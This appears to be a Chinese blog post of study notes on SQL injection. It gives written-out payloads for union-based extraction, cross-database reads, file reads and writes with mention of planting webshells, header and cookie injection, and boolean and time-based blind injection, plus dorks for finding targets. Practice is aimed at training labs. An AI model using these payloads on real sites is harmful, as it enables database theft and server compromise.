SQL注入[1]

SQL注入[1]

1.原理

利用sql结构化语言(mysql等)带有的属性,本来旨在用户输入相关变量的参数,
但用户可以通过该点,输入有特殊语义的方法,获取服务端的数据(库名,表名等等)

2.目的

获取 用户数据库——表名——列名——字段 信息

3.基础操作

①准备工作
判断注入类型
判断注入点
在 id= 后 输入任意数据(乱输),若页面异常,存在注入点
猜解列数
' order by 3 --+
' order by 4 --+
页面正常的,为正确

单引号前输入 数字(数据库中不存在的数),为了显示可回显的位置
' union select 1, --  (有空格)
' union select 1,2 -- (空格)
信息收集
数据库版本: version()
数据库名字:database()
数据库用户:user()
操作系统:@@bersion_compile_os

注明:若mysql版本大于5.0
存在:系统数据库:information_schema (含有所有的表名,列名)
information_schema.schemata (记录所有 库名 的表)
information_schema.tables   (记录所有 表名 的表)
information_schema.columns  (记录所有 列名 的表)
table_name					(查询具体的表)
column_name					(查具体的列)	
table_schema				(查数据库名)
否则:需要手工猜解库名,表名,列名
②联合注入
存在的条件
1)存在可控变量
2)有数据库查询
3)无过滤或过滤不严

0)查数据库名字

' union select  group_concat(schema_name) from information_schema.schemata  --+
得到数据库名:aaaa

1)获取数据库aaaa中的’ 表名bbbb ’

' union select TABLE_NAME FROM INFORMATION_SCHEMA.TABLES where table_schema = 'aaaa'
得到表名:bbbb

2)查询相关的表bbbb中的’ 列名cccc ’

' union select COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'bbbb' --+
得到列名:cccc

group_concat()函数  将返回值在一行打出,以 `;` 分隔开

3)查询相关列中的’ 字段名xxxx ’

' union select [  字段名 ]  from  [ 列名cccc ]%23
 ’#‘ 等价于 ’%23‘    (URL编码)
③高权限注入
0 判断用户权限
user() 可以读取数据用户权限
高权限用户:root  具有读取同一服务器下其他网站数据库的权限
使用information_schema.schemata可以查询同一服务器下的所有数据库名 
'.' 点符号,在SQL语句中代表下一级
1 跨库查询

具体操作:

类似联合注入
1)查询库名
' union select  group_concat(schema_name) from information_schema.schemata  --+
得到数据库名:aaaa(该aaaa可能存在于其他网站下)
2)查询表名
3)查询列名
4)查询数据:' union select [  字段名 ]  from  [ 表名bbbb.列名cccc ]%23
(bbbb.cccc 代表的是 具体某一表下的列名,因为在同一服务器下,可能存在多个同列名的列:例如admin)
2 文件读写

0)文件操作函数:

读取:load_file()
常见的load_file()读取的敏感信息
导出:into outfile()/ into dumpfile()
(将读取到的数据,导出到电脑上)

1)常见路径读取
找路径路径

1报错显示:
intext:warning inurl:php
inurl:edu.cn warning
2遗留文件
3漏洞报错
读取文件来读取文件
/4平台配置文件 /5 爆破/

路径利用

存在SQL注入的的地方:可以load_file(路径)  
注:用'/'或者'\\'间隔路径,因为(\n是换行符,可能存在其他转义语句)

该位置:上传后门,木马shell等等等等

2)常见读取文件列表
3)常见写入文件问题:魔术引号
开关:magic_quote_gpc
魔术引号开启与否的影响

1.当PHP magic_quotes_gpc=on
如果此时你对输入的数据作了addslashes()处理,
那么在输出的时候就必须使用stripslashes()去掉多余的反斜杠。
如果仅为magic_quotes_gpc=on,无再对写入数据库的字符串未经过任何处理。从数据库读出的字符串未作任何处理,则sql语句顺利执行,数据成功写入数据库,数据库保存格式和输出数据格式都和输入一样,不带反斜杠

2.当PHP magic_quotes_gpc=off
必须使用addslashes()对输入数据进行处理,但并不需要使用stripslashes()格式化输出
因为addslashes()并未将反斜杠一起写入数据库,只是帮助mysql完成了sql语句的执行。数据库保存格式和输出数据格式都和输入一样,不带反斜杠

4)相关防注入

1.自带防御:魔术引号
2.内置函数:is_int
3过滤关键字:select
4.WAF防护

步骤:
猜数据库名称长度——>猜数据库名称(ASCII)——>猜解表的个数——>猜表名长度,字符——>查列名长度,字符——>查字段名

###4.探测及攻击— 工具
1)sqlmap
2)firefox——>hackbar
// Google——>开发者工具-network-document

###5.进阶操作(刷靶场:sqlilabs!!)

④类型和提交注入

#####0 判断类型

1.字符型:(单引号/双引号  括起来)
猜测后台sql语句:`SELECT column FROM table WHERE id='xxxx'`
1)输入`admin'`,因为多了单引号`'id='admin''`,显示异常
2)输入`admin' and 1=1 -- (-- 此处有空格才能达到注释效果//--' 代表注释后面的单引号)` 显示正确
3)输入`admin' and 1=2 -- `显示异常 
故:才可能存在字符型输入
2.数字型:(直接输)
猜测后台sql语句:`SELECT column FROM table WHERE id=1`
1)输入`'`,后台格式错误,会跳转,并报错
2)输入`and 1=1`显示正确
3)输入`and 1=2`显示异常
3.搜索型:在网站搜索框进行注入
猜测后台语句:SELECT * from user where like '%输入内容%'
 4.JSON

#####1 明确请求方法
GET, POST, COOKIE, REQUEST, HTTP头等 (不同语言的写法不同,内容相同)

HTTP头部注入:
PHP语言:相关的一个函数:$_SERVER[' 相关内容 ']
调用出相关信息

2 注入例子(刷靶场去)
**靶场:sqlilabs**
5.6:参数字符型注入
11:post数据提交注入
18:HTTP头部参数提交注入
20:cookie数据提交注入*

1)参数型注入
靶场:5,6

1抓包
2修改post参数
原句:uname='xxxx'&passwd='xxxx'
在uname位置注入:
输入:admin' and 1=2 order by 2 --+ 
修改后:uname='admin' and 1=2 order by 2 --+ '&passwd='xxxx'
3类似联合注入

2)POST数据提交注入
靶场:11

3)HTTP头部参数注入
靶场:18

4)Cookie数据提交注入
靶场:20

⑤Oracle,mongoDB等注入(不同数据库类型)

‘用到再学’

⑥查询及报错盲注注入(靶场:pikachu)
查询注入

1)查询方式:

1. select
2. insert
3. delete
4. update
5. order by

2)操作
1.抓包
2.找到数据包中:存在相关查询方式的语句,进行更改

双查询注入(less5)

引用:双查询注入详解
双查询:嵌套查询
理解函数

rand():随机输出一个小于1的正数
floor():把输出的结果向下取整
concat():连接两条语句
group by语句:把结果分组输出

select rand(); 获得小于1的正数

select floor(rand()*2); 获得 1或0

select concat((select database()),floor(rand()*2)); 得到库名0或者库名1

select concat((select database()),floor(rand()*2))as a from information_schema.tables group by a; 将得到的库名 取名为 a,然后进行对应的分组
(’ database() '只是作为一个例子,可以更换成我们想要的数据)
select count(*), concat((select database()), floor(rand()*2))as a from information_schema.tables group by a; ‘‘concat( * )’’ 人为制造一个可以报错回显的窗口,显示查询的数据
https://blog.csdn.net/weixin_44077544/article/details/89113055

报错回显盲注(less6)
布尔盲注/时间盲注
布尔盲注:根据页面 返回 的 正确与否 判定
时间盲注:根据页面 反应 的 时间长短 判定
布尔盲注:
猜长度:
URL+ and length(databake())>11
URL+ and length(databake())>12
(第一次报错,第二次成功,代表库名长12)

猜库的字符
URL+ and ascii(substring(database(),1,1))>97
URL+ and ascii(substring(database(),1,1))>98
(第一次错,第二次正确,第一个字符的ascii为98)

猜库中表的个数
URL+ and (select count(table_name) from information_schema.tables where table_schema=database())>14
时间盲注:
猜长度:
URL+ and if(length(database())>=8, sleep(5) ,1) -- 
同理推断
⑦二次,加解密,DNS等注入
二次注入

1)原因:数据库对输入的数据进行转义函数处理后,存进数据库的数据,再次进行调用时,不会处理,而攻击者,可以利用该点,构造语句,恶意攻击

加解密注入

相关数据存在加密:进行相关的解密,再进行其他的注入操作,注入时也要讲语句加密成同样的格式

DNSlog注入

解决了盲注不能回显的问题,提高效率

⑧堆叠及WAF绕过注入
⑨SQLMAP绕过WAF

###6.防御/绕过/成因

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值